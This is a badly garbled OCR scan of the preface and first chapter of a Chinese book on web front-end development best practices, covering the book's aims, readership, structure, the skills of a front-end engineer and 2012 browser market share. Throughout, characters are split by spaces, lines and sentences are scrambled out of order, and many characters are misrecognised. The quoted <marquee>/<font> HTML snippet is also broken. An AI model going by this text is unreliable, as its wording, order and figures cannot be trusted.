

















为 什么 要 写 这 本 书 
Web 前 端 开发 入 门 难度 并 不 高 ， 但 是 初学 者 如 果 没 有 一 个 很 好 的 学 习 和 编码 习惯 ， 则 开发 水 平 的 提高 速度 会 变 得 很 慢 。 下 面 几 点 是 影响 Web 前 端 开 发 者 技术 提高 的 主要 因素 。 


的 技术 。 开 发 者 学 习 前 端 技术 的 渠道 很 多 ， 其 中 很 大 一 部 分 是 通过 查找 网 络 资 ) 


开发 习惯 。 因 此 ，Web 前 端 开发 的 初学 者 非常 需要 一 些 能 帮助 他 们 快速 、 正 确 


其 一 是 开发 者 缺乏 


其 











良好 的 实践 指导 。Web 前 端 兴 起 的 时 间 不 

















最 新 的 技术 ， 而 忽略 了 最 基础 








并 且 更 快 地 理解 新 技术 的 原理 ， 否 则 


























是 开发 者 不 善于 利用 各 种 开发 工 














。 人 类 文明 之 所 以 快速 发 


LV 


长 ， 很 多 大 学 都 还 没有 来 得 及 开 一 门 专门 讲解 Web 前 端的 课程 ， 























因 








此 ， 大 部 分 的 Web 前 端 开 发 者 都 是 通过 自学 的 方式 来 了 解 Web 前 端 相关 











其 二 是 开发 者 容易 产生 浮躁 的 情绪 。Web 前 端 虽 然 兴起 时 间 不 长 ， 但 是 发 
逐 各 利 
深入 。 


上 手 ， 





新 技术 的 





皮毛 而 已 。 








原 的 方式 ， 而 网 络 上 充斥 着 大 量 的 错误 或 者 过 时 的 实践 方法 ， 这 些 实践 方法 很 容易 误导 初学 者 ， 使 得 初学 者 养 成 了 一 些 不 所 
也 进行 Web 前 端 开发 的 最 佳 实践 方法 。 


的 

















展 很 迅速 ， 技 术 的 更 新 换代 也 非常 快 ， 这 本 来 是 一 件 好 事情 ， 但 也 使 得 很 多 Web 前 端 开发 者 产生 了 浮躁 的 情绪 。 开 发 者 疲 于 追 











的 技术 概念 。 这 些 开发 者 对 Node.js、AngularJS、Polymer 等 相关 概念 相当 熟悉 ， 但 对 HTML 标 准 规范 、AJAX 的 原理 、CSS 选 择 器 的 优先 级 等 基本 的 概念 却 理解 得 不 够 
实质 上 ， 虽 然 Web 前 端 技术 更 新 换代 速度 很 快 ， 但 也 离 不 开 HTML、CSS、Javascript 这 3 个 基本 的 技术 。Web 前 端的 开发 者 应 该 明白 : 
只 是 接 和 多 











只 有 掌握 了 扎实 的 基础 知识 ， 才 能 在 学 习 新 技术 的 时 候 更 容易 





















































每 次 处 理 的 结果 应 该 是 一 样 的 。 类 比 到 
计 、 开 发 、 测 试 、 部 署 等 阶段 的 辅助 工具 。 


Ee, 














和 人 类 善于 使 用 工具 是 分 不 开 的 











。 人 类 是 感性 动物 ， 并 不 能 保证 每 次 都 能 正确 地 做 同样 的 寻 








情 ， 但 工具 不 一 样 ， 只 要 环境 相同 ， 工 









































Web 前 端 开发 中 ， 聪 明 的 程序 员 应 该 学 会 利 




















于 








使 











工 








笔者 从 2002 年 开始 接触 软件 开发 ， 先 后 接 外 


础 、 编 码 规范 、 辅 助 开 发 工具 对 软件 开发 的 重要 性 ， 因 此 ， 在 平时 的 开发 中 会 特别 注重 这 方 | 
本 书 综合 了 笔者 这 些 年 来 积累 的 各 种 Web 前 
容 上 说 ， 本 书 是 一 本 介绍 如 何 高 效 地 从 事 Web 前 








过 各 种 主流 的 开发 技术 ， 

















也 是 Web 前 端 开发 中 必 备 的 一 项 技能 。 














各 种 辅助 开发 工 





来 提高 开发 效率 ， 减 少 不 必 要 的 错误 。Web 前 端 开 发 中 的 工 








覆盖 了 开发 过 程 的 方方面面 ， 包 括 设 





Ill:I 



































包括 各 种 Web 




















发 技术 。 从 2008 年 开始 ， 从 事 Web 前 端 开发 的 工作 。 在 这 么 多 年 的 Web 网 站 开发 过 程 中 ， 笔 者 深 知 技术 基 


面 的 积累 ， 也 非常 乐意 分 享 个 人 的 开发 经 验 以 及 使 用 过 的 效果 较 好 的 开发 工具 。 















































端 开发 经 验 以 及 各 种 高 效 的 Web 前 端 开发 实践 。 如 果 把 这 些 实践 方法 称 为 最 佳 实践 ， 则 有 可 能 会 引 来 必 





议 ， 但 这 些 实践 方法 的 确 是 认可 度 很 高 的 方法 。 从 内 



































会 在 开发 过 程 中 节省 大 量 的 成 本 ， 





读者 对 象 


本 书 主要 适合 以 下 读者 : 





“ 对 Web 前 端 有 浓厚 兴趣 的 读者 


“Web 前 端 开发 工程 师 


"Web 项 目的 管理 人 员 


如 何 阅读 本 书 


本 书 将 分 为 五 大 部 分 ， 第 一 部 分 为 概述 ， 第 二 、 三 、 





0 











至 尾 通读 ， 也 可 以 选择 感 兴趣 的 部 分 “阅读 。 





第 五 计 
个 部 分 会 简单 介绍 在 移动 Web 





了 分 (第 1、2 章 ) 为 高 效 Web 前 端 




















的 各 种 攻击 及 防范 方法 。 





分 (第 12 章 ) 为 移 到 


了 分 (第 9~11 章 ) 为 JavaScript 相 关 开发 最 佳 实践 。 该 部 分 
Web 前 端 中 


Web 开 发 相关 最 佳 实践 。 移 动 Web 


分 (第 3~5 章 ) 为 HTML 相 关 开发 最 佳 实践 。 这 部 分 贴 合 W3( 标 准 ， 


分 (第 6~8 章 ) 为 CSS 相 关 开 发 最 佳 实践 。 这 部 分 介绍 如 何 编写 高 维护 性 和 高 性 能 的 CSS 代 码 。 并 简单 介绍 如 何 高 效 地 使 F 


部 分 分 别 介绍 HTML、CSS、JavaScript 相 关 的 实践 方法 , 最 


这 部 分 将 介绍 前 端 开发 中 的 基本 规范 、 代 码 组 织 、 


端 开 发 的 书籍 ， 而 不 是 讲解 Web 前 端 技术 的 书籍 。 虽 然 技术 更 新 非常 快 ， 但 高 效 的 开发 实践 方法 则 相对 会 更 新 得 慢 一 些 。 开 发 者 掌握 这 些 高 效 的 实践 方法 ， 
3 外， 在 学 习 新 技术 的 过 程 中 ， 也 会 应 对 


自如 。 








后 一 部 分 简单 介绍 移动 Web 开 发 相关 的 实践 方法 。 每 个 部 分 相对 独立 ， 读 者 可 以 从 头 


























重 构 及 测试 相关 话题 ， 同 时 也 介绍 一 些 好 用 的 开发 辅助 工具 。 














介绍 如 何 编写 符合 标准 的 、 语 义 化 的 、 可 维护 性 高 的 HTML 代 码 ， 并 简单 介绍 HTML5 规 范 中 新 添加 的 标签 和 属性 的 使 用 。 


























CSs3 中 新 添加 的 特性 。 

















同样 包含 了 如 何 编写 高 维护 性 和 高 性 能 的 JavaScript 代 码 。 同 时 ， 编 写 JavaScript 代 码 也 要 考虑 代码 的 安全 性 ， 


发 > 





因 





此 ， 该 部 分 也 会 介绍 









































发 时 特别 需 


勘误 和 支持 


由 于 作者 的 水 平 有 限 ， 书 中 难免 会 出 现 一 些 错误 或 者 不 准确 的 地 方 ， 妃 请 读者 批评 指正 。 本 书 引 
资源 备份 到 我 的 个 人 网 站 : http://www.dang-jian.com， 供 读者 查阅 。 同 时 ， 在 该 网 站 上 也 提供 了 本 书 中 的 源 代码 的 下 载 。 另 外 ， 在 该 网 站 上 开辟 了 一 个 专门 的 栏目 ， 


关注 的 实践 方法 。 


起 的 时 间 不 长 ， 很 多 





发 实践 方法 也 在 总 结 和 摸索 阶段 。 前 面 四 部 分 介绍 的 大 部 分 实践 方法 同样 适 











移动 Web 开 发 。 另 外 ， 这 


























了 大 量 的 网 络 资源 ， 但 随 着 时 间 的 推移 ， 很 难保 证 所 有 的 资源 都 可 以 访问 ， 因 此 ， 我 把 部 分 网 络 引 












































于 勘误 和 问题 咨询 ， 欢 迎 读者 提 








交 在 本 书 中 发 现 的 错误 。 如 果 对 本 书 中 的 观点 有 不 同 的 见解 ， 也 欢迎 来 该 网 站 与 笔者 交流 讨论 。 为 方便 读者 ， 也 欢迎 发 送 邮件 至 我 的 邮箱 : hunterdang@gmailcom。 


致谢 


首先 ， 感 谢 西安 葡萄 城 信息 技术 有 限 公司 ， 
感谢 经 常 和 我 在 一 起 讨论 技术 的 小 伙伴 们 : 张 潜 、 许 佳 琴 、 黄 海 涛 、 
感谢 机 械 工业 出 版 社 的 编辑 杨 绣 国 ， 


谨 以 此 书 ， 献 给 我 的 麦 子 李 莹 铝 。 她 为 了 让 我 有 更 多 的 写作 时 间 ， 
很 大 的 动力 。 每 当 我 苦恼 于 如 何 把 一 些 开 发 理念 表达 清楚 时 ， 儿 子 调 




















你 容忍 我 多 次 推迟 交 稿 


正 是 借助 该 公司 在 博客 











上 的 官方 技术 博客 ， 我 才能 够 将 很 多 的 技术 思想 表达 出 来 。 另 外 ， 通 过 在 这 个 博客 上 写作 ， 促 成 了 本 书 的 出 版 。 
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时 | 








杨波 、 梁 真 。 他 们 在 本 书 的 写作 过 程 中 提供 了 很 多 宝贵 的 意见 ， 为 本 书 增色 不 少 。 











， 并 且 非 常 耐 心地 纠正 各 种 表达 上 的 错误 。 从 你 身上 ， 我 感受 到 了 一 个 编辑 的 敬业 精神 。 











皮 的 


毫 无 怨言 地 承担 起 了 更 多 的 家 庭 责 任 。 如 果 没 有 她 的 鼓励 和 督促 ， 我 都 不 知道 什么 时 候 才能 完成 本 书 的 写作 。 我 儿子 的 出 生 也 给 了 我 
声 


笑 声 缓 解 了 我 不 小 的 压力 。 


党 


建 


马来西亚 吉隆 坡 


' 第 1 章 Web 前 端 开发 概述 


“第 2 章 高 效 Web 前 端 开发 


第 1 章 Web 前 端 开发 概述 





本 章 首先 会 简单 介绍 Web 前 端 开发 的 历史 由 来 ， 以 及 前 端 开发 的 概念 及 其 范畴 ， 让 读者 对 前 端 开发 有 个 整体 的 认识 ， 
展 、 网 站 的 设计 和 开发 现状 等 ， 让 读者 认识 到 前 端 开发 的 现状 和 趋势 ， 以 便 更 好 地 提高 








包括 互联 网 整体 环境 、 浏 览 器 的 发 


1.1 Web 前 端 开发 的 范畴 


1.1.1 什么 是 Web 前 端 开 发 














什么 是 Web 前 端 开发 ? 也 许 有 人 会 说 Web 前 端 开发 就 是 网 页 设计 ， 就 是 美工 ， 
说 还 是 停留 在 过 去 对 前 端 开发 的 认识 上 。 记 得 某 个 求职 节目 中 ， 








某 互 





也 有 人 会 说 Web 前 端的 工作 就 是 使 
闫 网 公司 负责 人 对 前 来 求职 的 前 端 工程 师 说 他 们 理解 的 Web 前 端 是 需要 f 


高 效 Web 前 端 开发 综述 











自身 的 前 端 开发 技能 。 























竟然 对 自己 公司 使 








的 核心 技术 概念 知之 甚 少 ， 这 实在 是 让 人 上 








夷 所 思 ， 更 是 闲 了 不 小 的 笑话 。 此 和 





间 








确 ，Web 前 端 兴 起 的 时 


对 于 Web 前 端 , 业内 








的 说 法 是 从 2005 年 开 


A 
AAN 


还 很 得， 这 也 就 导致 了 很 大 一 部 分 人 不 太 了 





起 的 。2005 年 以 前 ， 











解 这 个 新 型 的 


件 也 激 起 了 业内 针对 Web 前 端 概念 的 大 讨论 ， 不 过 也 从 侧 
只 业 ， 所 以 我 在 这 里 再 次 解释 一 下 Web 前 端 这 个 











为 Web 网 页 











以 


展示 为 

















多 花哨 的 内 容 。 网 站 的 用 户 也 只 是 以 浏 














览 为 主 ， 并 不 会 有 





杂 的 交互 。 正 因为 如 此 ,一 














Web 2.0 时 代 。Web 2.0 更 注重 用 户 的 交互 作用 ， 用 户 不 再 只 是 读者 ， 同 





对 也 是 作者 。 用 户 不 再 是 仅仅 阅 





作 的 网 页 慢 慢 变 得 生动 起 来 ， 页 面 


也 有 了 大 量 的 交互 ， 不 再 是 简单 地 








展示 静态 的 文字 和 


















































无 刷新 技术 极 大 地 增强 了 网 页 的 用 户 体验 ,使 得 
别 网 站 的 HTML 代 码 ， 这 就 要 求 网 站 的 设计 者 和 开 











户 操作 页 


工具 拖 电 生成 各 种 界 


， 内 容 基本 都 是 静态 | 
役 的 美工 仅 依靠 Photoshop 和 Dreamweaver 等 工 





面 ， 然 后 导出 为 网 页 。 


同时 还 会 对 前 端 开发 的 一 些 错误 认识 进行 更 正 。 其 次 会 介绍 一 下 Web 前 端的 现状 ， 


其 实 这 些 都 是 对 Web 前 端的 误解 ， 或 者 





























Java 








的 ， 是 需 


这 种 语言 编写 的 。 一 个 互联 网 公司 的 负责 人 











H 








词语 的 来 龙 去 脉 。 


说 明 Web 前 端 这 一 概念 还 没有 深入 人 心 。 的 














的 ， 所 以 客户 端 开发 工作 的 目的 就 是 让 页 面 





展现 得 更 加 整齐 和 漂亮 ， 没 有 太 











刚 














可 以 制作 出 外 观 漂亮 的 静态 网 























面 更 流畅 ， 操 作 体验 更 接近 于 本 地 应 




















发 者 不 仅 要 重视 网 站 外 在 的 














站 内 








户 体验 ， 还 要 重视 











随 着 网 站 功能 的 丰富 、 设 计 风 格 的 发 展 以 及 网 





























题 。 传 统 的 网 站 开发 者 仅仅 会 使 用 网 页 制作 工 








此 时 的 网 站 开发 更 接近 于 


在 的 代码 质量 。 


站 代码 质量 的 要 求 ， 网 页 端的 开发 也 变 得 复杂 起 来 ， 其 代码 量 和 逻辑 复杂 度 者 
已 经 不 能 够 满足 目前 的 需求 了 ， 

















就 演变 成 了 Web 前 端 开发 。 从 职责 上 讲 ，Web 前 端 开发 要 涉及 网 站 开发 的 方 方 
质量 。 


考虑 页 面 的 美感 和 操作 体验 ， 又 要 关注 前 端 代码 的 





1.1.2 “Web 前 端 开发 需要 具备 的 技能 





由 于 Web 前 端 技术 兴起 的 时 间 不 长 ， 因 
































开发 人 员 才 可 以 更 好 
配合 。 虽 然 Web 前 端 开发 的 范畴 广泛 ， 并 且 界限 模 煌 
1 .页 面 标记 (HTML) 

















由 于 页 面 HTML 代 码 结构 基本 固 

















此 它 还 没有 明确 的 界限 定义 ， 不 同 
也 与 后 端 开发 人 员 配 合 ， 如 在 页 面 上 留 下 一 些 后 端 需 


定 ，HTML 的 标签 数量 也 不 多 ， 


读 静 态 的 网 页 ， 同 时 也 为 网 站 贡献 内 容 。 随 着 这 一 概念 的 发 
片 。Google Gmail 的 发 布 ， 使 得 AJAX 技 术 大 红 大 紫 ， 这 也 把 对 Web 2.0 的 概念 的 认识 推 上 了 一 个 新 的 高 度 。AJAX 
。 此 外 ， 搜 索引 警 的 普及 使 得 网 站 的 搜索 引擎 优化 受到 了 对 





页 。2005 年 之 后 ， 互 联网 进入 

















展 ， 人 





们 开始 重新 审视 网 站 的 设计 ， 制 














视 。 搜 索引 擎 对 网 站 的 外 观 并 不 感 兴趣 ， 只 识 








了 增加 不 少 ， 同 时 还 需要 考虑 网 站 的 性 能 、 

















浏览 器 兼容 及 网 站 安全 性 方面 的 问 
后 端 开发 ， 需 要 有 专门 的 软件 开发 工程 师 来 做 网 站 开发 相关 的 工作 ， 于 是 原来 的 网 页 制作 这 一 职业 














面 ， 从 前 端 Ul 到 和 后 端 | 

















的 数据 交互 都 








的 Web 项 






































调 





中 可 能 要 求 的 Web 前 端 开发 技术 会 有 所 不 
的 “钩子 " 等 ， 而 某 些 项 目 可 能 需 








， 但 是 以 下 7 点 是 Web 前 端 开发 必 备 的 技能 。 








因 























良好 的 页 面 。 虽 然 说 入 门 容易 ， 但 是 要 编写 语义 














现 ， 而 且 与 其 对 应 的 CSS 与 JavaScript 代 码 也 会 变 得 难以 编写 和 维护 。 








2. 页 面 样式 


3 











CSS 是 Cascading Style Sheet ( 


层 亚 样式 表 ) 的 简称 。 在 标准 页 








设计 中 ， 因 为 CSS 负 责 网 页 





H 




















丽 的 效果 ， 使 得 页 面 更 为 友好 。 好 的 样式 可 以 让 





























有 复杂 的 逻辑 ， 上 手 也 比较 容易 ， 其 主要 的 难点 在 于 如 何 合理 地 利 


3. 前 端 编程 





前 端 编程 技能 主要 是 指 JavaScript 编 程 。JavaScript 是 一 种 基于 对 象 和 事件 驱动 的 客户 端 脚本 语言 ， 是 页 


户 在 页 





中 


内 容 的 表现 ， 所 以 CSS 也 是 前 端 开发 需要 党 


属于 前 端 


前 端 开发 人 员 懂 一 些 UI 设 计 、Photoshop 工 

















发 的 范畴 。 因 





此 ，Web 前 端 开发 是 兼 











艺术 气息 和 逻辑 思维 的 综合 体 ， 既 要 














同 。 例 如 ， 某 些 项 目 可 能 需要 前 端 开 发 人 员 了 解 一 些 


后 端 技术 ， 这 样 前 端 

















的 使 














方法 等 ， 以 便于 和 UI 设计 师 沟通 和 





旦 的 核心 内 容 之 一 。 














上 停留 的 时 间 更 久 一 些 ， 也 可 以 帮助 


CSS 的 组 合 和 继承 特性 来 编写 简洁 、 



































户 更 好 地 阅读 网 站 内 容 ， 同 时 ， 还 可 以 让 

















丰富 的 CSS 样 式 能 让 平淡 的 HTML 
户 在 不 同 浏览 器 上 有 着 相同 的 体验 。CSS 和 HTML 代 码 一 样 ， 没 


此 ， 从 学 习 的 难 易 程 度 来 阅 ，HTML 应 该 是 前 端 技术 中 非常 容易 学 习 的 技术 。 即 使 是 一 个 新 手 ， 也 能 在 较 短 的 时 间 里 学 会 编写 一 个 结构 
良好 、 简 洁 整 齐 的 HTML 代 码 则 需要 大 量 的 实践 才能 掌握 。HTML 是 页 面 的 基本 结构 组 成 部 分 ， 是 网 站 的 基础 ， 腑 肿 混乱 的 HTML 代 码 不 但 会 影响 




















本 身 的 








展现 出 绚 


可 维护 性 好 的 CSS 代 码 。 以 上 这 两 项 基本 技能 是 前 端 UI 开发 必 备 的 技能 。 











百 














实时 动态 交互 的 技术 基础 。 相 较 于 HTML 和 人 CSS， 编写 JavaScript 代 码 更 能 让 前 端 开 发 人 员 找 


到 后 端 程序 员 的 感觉 。Javascript 是 非常 灵活 的 脚本 语言 ， 包 含 了 高 阶 函数 、 动 态 类 型 以 及 灵活 的 对 象 模型 等 强大 的 语言 特性 ， 当 然 ，JavasScript 的 灵活 性 也 可 能 导致 代码 不 易 维护 。 此 外 ， 浏 览 器 的 兼容 性 


也 增加 了 Javascript 编 码 的 难度 。 同 一 个 功能 ， 可 能 在 不 同 的 浏览 器 中 有 不 同 的 实现 。 例 如 ， 在 IE 浏览 嚣 中， 事件 绑 定 使 
法 。 开 发 人 员 在 熟悉 JavaScript 基 本 语法 和 基本 的 编码 规范 之 外 ， 还 应 该 了 解 并 解决 在 不 同 浏览 器 中 的 JavaScript 的 兼容 性 1 














的 Web 编 程 方式 会 有 部 分 后 端 代码 存在 于 前 端 页 





H 





4. 跨 平台 ， 跨 浏览 


前 端 代码 本 来 不 存在 跨 平台 方面 的 问题 ， 但 是 








中 ， 和 前 端的 HTML、JavaScript 等 混合 在 一 起 ， 如 PHP、 





比率 也 是 逐年 增高 。 丸 








0 何在 众多 移动 平台 、 众 多 








局 








十 上 











展现 友好 的 Web 站 点 成 为 一 项 前 端 技能 。 


























的 是 attachEvent () 方法 ， 但 其 他 浏览 器 则 使 有 











参 着 移动 Web 平 台 的 兴起 ， 跨 平台 的 问题 就 逐渐 显现 出 来 了 。 移 动 设备 (如 智能 手机 和 平板 电脑 ) 在 近 几 : 
不 过 ， 目 前 跨 浏览 器 没有 像 几 年 前 表现 得 那么 突出 了 ， 这 主要 是 
众多 浏览 器 对 标准 的 重视 ， 另 外 ， 目 前 流行 的 前 端 框架 已 经 很 好 地 解决 了 浏览 器 的 兼容 问题 。 尽 管 如 此 ， 但 是 还 需要 熟悉 常见 的 浏览 器 兼容 方法 ，3 


SP、ASP.NET 等 ， 因 





的 是 addEventListener () 方 
































此 ， 前 端 


可 题 。 另 外 ， 作 为 前 端 开发 工程 师 ， 必 定 会 涉及 后 端的 编程 ， 一 些 原 
发 工程 师 也 有 必要 了 解 一 些 后 端 编程 技术 。 





因 




















是 目前 流行 














展 迅猛 ， 上 





发 








户 通过 移动 设备 访问 Web 站 点 的 

















因 

















为 IE 6、IE 7 浏览 器 的 占有 率 下 降 和 
要 包括 : IE 7、IE 8 的 兼容 ，HTML5 中 新 特性 的 兼容 


各 种 前 端 框架 的 出 现 ， 在 很 大 程度 上 降低 了 前 端 开 发 的 难度 。 框 架 统一 了 编码 的 方式 ， 封 装 了 浏览 器 兼容 问题 并 添加 大 量 的 扩展 功能 。 








排名 靠 前 的 开源 框架 
和 编码 方式 也 不 尽 相 





6. 调 试 工具 





也 是 以 前 端 框 架 


居多 。 优 秀 的 前 端 框架 可 以 在 很 大 程度 上 缩短 项 目 开发 的 周期 ， 尤 其 是 j 























同 ， 作 为 前 端 开发 工程 师 ， 需 要 熟悉 一 些 常 





框架 的 使 


























对 于 前 端 代码 ， 


的 Firebug 等 ， 此 外 还 有 HTTP 请 求 监控 和 模拟 工具 ， 如 Fiddler 等 。 开 发 工程 师 需要 熟练 使 


7 沟通 能 力 


沟通 是 开发 人 员 必 备 的 一 项 基本 技能 ， 


轻松 许多 。 


在 调试 过 程 中 需 














1.2” Web 前 端 开发 现状 


前 端 开发 虽然 起 步 时 间 晚 ， 但 是 发 














重 构 并 同时 使 

















在 Web 前 端 发 展 的 过 程 中 ， 浏 览 器 的 发 
的 提升 等 。1E 浏 览 器 也 





了 HTML5 中 的 新 特性 。 现 在 开发 的 Web 新 产品 的 页 
腾讯 、 百 度 及 奇 虎 360 公 司 先后 加 入 了 万 维 网 联盟 (W3C) ， 共 同 参与 互联 网 技术 标准 的 研究 和 制定 ， 促 进 了 


查看 页 面 的 HTML 结 构 变 化 、CSS 演 染 效 果 、Javascript 代 码 | 
CSS 代 码 来 查看 预期 的 效果 ， 模 拟 发 起 HTTP 请 求 来 查看 后 端 返 回 的 数据 。 壮 





方法 ， 并 且 要 了 解 如 何 编写 常 


E 流 浏览 器 都 会 有 对 应 的 沪 

















0 今 的 Web 项 目 中 前 端 框架 应 有 
Query， 几 乎 成 为 Web 项 目 默认 的 前 端 框 架 。 
框架 的 扩展 插件 ， 如 jQuery、YUI、Ext JS 等 。 














非常 广泛 ， 在 开源 社区 GitHub 上 
的 接口 众多 ， 各 种 框架 的 使 用 方式 





但 是 ， 前 端 框架 





的 执行 情况 以 及 HTTP 请 求 和 返 





回 








的 数据 ， 并 且 要 了 解 网 站 各 个 部 分 的 性 能 等 ， 甚 至 需要 动态 更 改 HTML、 





























这 些 工具 来 辅助 完成 前 端 代码 的 调试 。 











尤其 是 对 于 前 端 开发 工程 师 来 说 。Web 前 端 开发 介 于 UI 和 后 端 逻辑 开发 之 间 ， 
程 师 需要 和 UI 设计 师 沟通 ， 确 定 效果 是 否 可 以 实现 以 及 实现 的 代价 ， 并 对 UI 设计 提出 建议 ， 还 需要 和 后 端 工 程 师 沟通 ， 确 定 前 后 端 交 互 的 接口 











因此 ，Web 前 端 工程 师 在 : 
































展 势头 迅猛 ， 在 各 种 新 技术 、 新 标准 的 推动 下 ， 各 大 互联 网 公司 也 开始 重视 Web 产 品 的 前 端 重 构 与 开发 ， 如 淘宝 、 腾 讯 、 新 浪 、 百 度 、 搜 狐 等 都 对 





























展 起 着 


关 重 要 的 作用 。 














面 交 互 也 越 来 越 丰富 ， 视 觉 效果 也 越 来 越 绚 


浏览 器 厂商 在 这 场 Web 浪 潮 中 表现 突出 ， 





丽 。 互 联 





公司 除了 重视 前 端 开发 之 外 ， 还 在 积极 推动 互 


览 器 插件 来 辅助 完成 这 些 工作 ， 如 IE 中 的 IE Dev Toolbar、Chrome 中 的 Developer Tools、Firefox 中 


发 过 程 中 必定 会 和 UI 设计 师 及 后 端 工 程 师 合作 : 前 端 工 
以 及 传输 的 数据 实体 的 结构 等 ， 


良好 的 沟通 会 让 这 些 过 程 变 得 














己 的 网 站 进行 了 
黄 网 技术 的 发 展 ，2001~2012 年 ， 



































| 


内 互联 网 产业 的 发 展 。 












































始 发 力 ， 最 新 发 布 











下 面 看 一 下 全 球 范 转 








内 浏览 器 的 占有 率 





的 IE 10 浏 览 器 无 论 是 标准 的 支持 还 是 性 能 都 表现 突出 。 浏 览 器 的 快速 发 展 使 得 低 端 的 济 


情况 。 根 据 StatCounter 的 统计 ，2012 稀 








22.32%、7.81% 和 1.63%。 按 照 浏览 器 的 版 本 统计 ， 在 低 端 浏览 器 中 ，IE 8 占有 率 为 12%，IE 7 的 占有 率 仅 为 0.88%，IE 6 的 占有 率 则 更 低 。 


此 外 ， 移 动 设备 上 的 








动 设备 来 浏览 网 页 。 主 流 的 移动 平台 主要 为 Android 和 iOS 系 统 











以 上 介绍 的 是 浏览 器 在 全 球 范围 


浏览 器 在 整个 浏览 器 占有 率 中 上 升 速度 很 快 。 根 据 StatCounter 
， 对 应 的 沪 











体 表 现在 浏览 器 的 版 本 升级 周期 短 、 对 前 端 标准 的 支持 也 越 来 越 好 、 浏 览 器 的 性 能 也 有 大 幅 
览 器 如 IE 6、IE 7 等 快速 退出 市 场 。 





F10 月 份 ， 全 球 浏 览 器 占有 率 前 5 位 的 分 别 是 Chrome、IE、Firefox、Safari 及 Opera， 占 有 率 分 别 为 34.779%、32.08%、 














还 占有 不 小 的 份额 。 根 据 StatCounter 的 统计 ，2012 年 10 月 份 ， 








除 各 大 互联 网 公司 和 浏览 器 厂商 的 积极 推动 外 ，Web 前 端 
Javascript、Ruby 和 Python; 按 项 目 排名 ， 靠 前 的 大 部 分 也 是 前 端 项 目 ， 如 Prot 


其 中 低 端 浏览 器 IE 8、 





IE 7 和 IE 6 的 总 占有 率 大 约 为 58%， 低 端 浏览 器 依然 占有 “半壁 江山 
两 款 浏览 器 都 是 基于 开源 的 浏览 器 内 核 ， 对 标准 支持 较 好 ， 性 能 表现 突出 。 这 两 款 浏览 器 的 








内 的 占有 率 情况 。 从 上 面 的 统计 可 以 看 出 ， 在 全 球 范围 





内 ， 低 端 浏 览 器 的 占有 率 已 经 很 低 了 ， 但 国 














国 








的 统计 ，Safari iPad 在 浏览 器 的 占有 率 已 经 达到 了 2.76%。 有 目前 移动 设备 的 普及 率 极 高 ， 上 
览 器 都 是 以 WebKit 为 核心 的 ， 性 能 和 对 标准 的 支持 都 不 错 。 











户 已 经 逐渐 习惯 





通过 移 








内 浏览 器 占有 率 的 状况 则 比较 复杂 ， 低 端 浏览 器 如 IE 8、IE 7 和 IE 6 等 
内 浏览 器 占有 率 前 5 位 分 别 为 IE 8、IE 9、IE 6、 搜 狗 浏览 器 和 360 安 全 浏览 器 ， 占 有 率 分 别 


为 48.7%、14.09%、8.29%、5.74% 和 2.72%。 














， 而 高 级 浏览 器 如 Chrome、Safari、Firefox 等 占有 率 则 很 低 。 值 得 称道 的 是 ，360 安 全 浏览 器 和 搜狗 浏览 器 这 
占有 率 目前 虽然 不 高 ， 但 发 展 势头 迅猛 ， 是 推动 老 旧 浏览 器 退出 市 场 的 中 坚 力量 。 

















源 社区 的 参与 热 | 





以 推广 HTML5 为 主 ， 靠 一 些 酷 炫 的 效果 来 吸引 眼球 ， 反 而 关注 前 端 基础 的 较 少 。 











讲 ， 国 内 前 端 技术 发 展 还 是 比较 迅速 的 ， 也 不 乏 项 级 的 前 端 技 术 人 员 ， 但 普遍 缺乏 的 是 开放 的 心态 和 与 国 
Web 前 端 整 体 技术 的 发 
端 工程 师 普遍 自学 成 才 ， 并 没有 受过 足够 的 专业 训练 ， 也 缺乏 实际 的 项 目 经 验 。 





除了 以 上 这 些 Web 前 端 开 发 的 外 在 环境 之 外 ，Web 前 端 在 技术 方 
乱 ，CSS 代 码 和 JavasScript 代 码 混合 在 HTML 代 码 中 ; 代码 的 格式 问题 突 ! 
片 压 缩 等 提高 性 能 的 技术 。 
































崩 也 极为 高 涨 。 在 著名 


的 网 络 代码 托管 系统 GitHub 上 ， 开 源 的 项 目 仍然 是 以 前 端 相 关 项 目 





居多 ， 按 语言 排名 ， 前 3 位 分 别 为 


























otype、Bootstrap、jQuery 及 相关 插件 等 ， 











体内 容 可 参考 GitHub 官 方 网 站 。 





国 





内 的 一 些 前 端 社区 则 发 展 较为 缓慢 ， 多 是 














国 








内 Web 互 联网 公司 (如 淘宝 、 百 度 、 腾 讯 等 ) 





展 和 前 端 工程 师 个 人 的 能 力 是 相辅相成 的 。 目 前 ， 前 端 工程 师 很 多 是 “ 半 道 出 家 ”， 一 部 分 是 从 页 














内 外 同行 交流 的 能 力 ， 国 











也 有 部 分 优秀 的 开源 前 端 框架 ， 
内 前 端 技术 的 发 展 任重道远 。 





UI 开发 转行 为 Web 前 端 








H 


























H 








也 存在 着 大 量 的 挑战 ， 大 量 旧 的 网 站 需要 重 构 来 提高 网 站 























时 ， 不 够 整洁 ; 页 面 布 局 随意 ，HTML 代 码 不 符合 标准 ; 





这 些 公司 的 


前 端 技术 分 享 氛围 不 错 。 整 体 来 














发 的 ， 一 部 分 则 是 由 后 端 工程 师 转行 而 来 ， 所 以 前 








户 体验 和 性 能 等 。 这 些 网 站 的 前 端 代 码 普遍 存在 的 问题 有 : 代码 组 织 混 




















站 整体 性 能 


， 还 没有 意识 到 要 去 应 














诸如 缓存 、 动 态 加 载 、 脚 本 压缩 、 








此 种 状况 并 非 是 个 案 ， 查 看 目前 访问 量 颇 高 的 某 网 站 的 首页 源 代 码 ， 可 以 很 直观 地 看 出 其 中 不 规范 的 内 容 : 页 面 没 有 body 的 闭合 标签 ， 页 
诸如 <marquee>、<font> 等 标准 不 推荐 的 标签 。 以 下 是 其 中 的 代码 片段 : 


<marquee width="260" 


ON 


























H 











MOUSEOUT="this.start()" 


代码 缩 进 随意 ， 页 


中 大 量 使 











内 联 样式 并 





中 还 在 使 


























ONMOUSEOVER="this. stop()" scrollamount=3 scrolldelay=100 > 


<a href="http: 


style="font-size:14px;"> 


在 这 段 代 码 中 ，<marquee> 和 <font> 标 签 已 经 不 再 被 W3C 制 定 的 标准 推荐 使 用 ， 


CSS 样 式 代码 实现 。 


此 外 ， 此 站 点 首页 HTML 代 码 中 包含 大 量 不 必要 的 标签 和 多 余 的 样式 设 


<font color=blue style="font-size:14px;"> 


再 


i 
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</font></a> 





</font> 
target=" blank"><font olor=blue 


gnbsp; tnbsp; 


[到 


</marquee> 

















<marquee> 所 呈现 的 效果 完全 可 以 通过 JavaScript 代 码 实 现 ， 并 














